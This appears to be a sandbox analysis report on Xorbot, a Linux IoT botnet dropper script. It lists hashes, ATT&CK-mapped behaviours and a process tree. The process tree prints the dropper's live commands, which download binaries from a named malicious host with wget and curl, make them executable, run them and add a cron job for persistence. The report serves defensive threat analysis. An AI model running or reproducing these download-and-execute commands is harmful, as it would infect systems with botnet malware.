xorbot | 67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1

Analysis

max time kernel
149s
max time network
161s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/02/2025, 05:20

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General

Target

bins.sh
Size

10KB
MD5

97982e7de5b089918c84f5769ac0eda3
SHA1

6e77d8eaa36a9266927f0df9223d11d8808101b7
SHA256

67fb57dc230fd70fdae2f18e1bf44b691a40dc151334bf7d5e95322e60466aa1
SHA512

43c04300d6151b49107a0bc06e8a1eda6a74ba3367ee27933744e882cd51859a0069ec4248ea40b477307795cabb8d3c16ef467c1a5e0879a2b1fb1b45fde454
SSDEEP

192:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh237sk4AFWyxJRpm/DIa:u4AFWyxBRpm/DWgxh237Ix3ShrKLxh2K

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1904) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
728	chmod
768	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	729	bins.sh
/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	769	bins.sh

Renames itself 1 IoCs

pid	Process
770	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.1O08vB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/784/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/854/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/879/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/898/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/899/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/905/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/909/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/980/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/27/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/863/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/897/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/994/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1004/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/140/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/783/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/890/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/927/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/933/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/839/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/919/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/992/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/18/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/581/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/940/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/950/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/815/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/829/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/921/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1015/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1019/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/4/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/24/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/790/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/962/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/988/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/809/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/818/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/931/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1006/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/21/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/806/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/812/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/858/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/926/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/971/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1018/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/924/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/807/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/817/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/883/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/902/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/599/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/601/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/841/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/923/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/281/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/1029/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/811/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/991/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/795/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/857/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/930/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
File opened for reading	/proc/947/cmdline	PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

System Network Configuration Discovery 1 TTPs 7 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
779	wget
653	wget
680	curl
727	busybox
732	wget
763	curl
765	busybox

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	wget
File opened for modification	/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc	curl
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	wget
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	curl
File opened for modification	/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:649
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:651
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:653
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:680
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:729
- /bin/rm
  rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
  2⤵
  PID:731
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:732
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:763
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - System Network Configuration Discovery
  PID:765
- /bin/chmod
  chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:769
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:771
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:772
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:773
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:774
- /bin/rm
  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
  2⤵
  PID:776
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
  2⤵
  - System Network Configuration Discovery
  PID:779

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.1O08vB

Filesize
210B

MD5
0c5ae3fe574bc7b44633bdc6ee005918

SHA1
ad7e0196e39eb42197e1fb5890c15e3b46d7a10e

SHA256
94776e8a06923e15913dcfbe121958c21649fe56aa936042b0800474f9672ecb

SHA512
7444833b1fb892264094c45d9a5c57ae8120c113275c3efd05afd93e44e25ea468bf16e2a69924674fb73a85984d269e5cfdd75203039910d00471a2951867cf

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads